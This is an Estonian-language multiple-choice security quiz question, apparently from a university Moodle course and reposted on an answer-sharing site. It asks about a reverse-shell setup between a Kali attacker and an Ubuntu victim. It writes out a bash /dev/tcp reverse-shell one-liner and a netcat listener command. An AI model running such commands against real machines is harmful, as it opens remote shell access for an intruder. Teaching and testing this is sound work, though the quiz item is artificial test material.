Ründaja arvuti IP on 192.168.1.2 ja rünnatava (ohver) arvuti IP on 192.168.1.4 Ründaja käivitab edukalt enda arvutis (Kali) käsu
"bash -i & /dev/tcp/192.168.1.2/8000 0&1"
ja ohvri arvutis (Ubuntu) õnnestub edukalt käivitada käsk
"nc -lnvp 8000". Mida proovib ründaja saavutada ja kas see on tõenäoliselt edukas?

Question

Ründaja arvuti IP on 192.168.1.2 ja rünnatava (ohver) arvuti IP on 192.168.1.4 Ründaja käivitab edukalt enda arvutis (Kali) käsu  
 "bash -i >& /dev/tcp/192.168.1.2/8000 0>&1"  
 ja ohvri arvutis (Ubuntu) õnnestub edukalt käivitada käsk  
 "nc -lnvp 8000".  Mida proovib ründaja saavutada ja kas see on tõenäoliselt edukas?

Answer

Ründaja proovib luua  bind shell  ühendust ohvri arvutiga. See on edukas.

Answer

Ründaja proovib luua  reverse shell  ühendust ohvri arvutiga. See on edukas (eeldusel, et tulemüüris pole port 8000 blokeeritud).

Answer

Ründaja proovib luua  bind shell  ühendust ohvri arvutiga. See ei ole edukas, sest port 8000 on vaikimisi filtreeritud.

Answer

Ründaja proovib luua  reverse shell  ühendust ohvri arvutiga. See ei ole edukas, sest ta sisestas käsud valet pidi (oleks pidanud sisestama enda arvutis "nc -lnvp 8000" ja ohvri arvutis "bash -i >& /dev/tcp/192.168.1.2/8000 0>&1").

Crowdly

Ründaja arvuti IP on 192.168.1.2 ja rünnatava (ohver) arvuti IP on 192.168.1.4 R...

Want instant access to all verified answers on moodle.taltech.ee?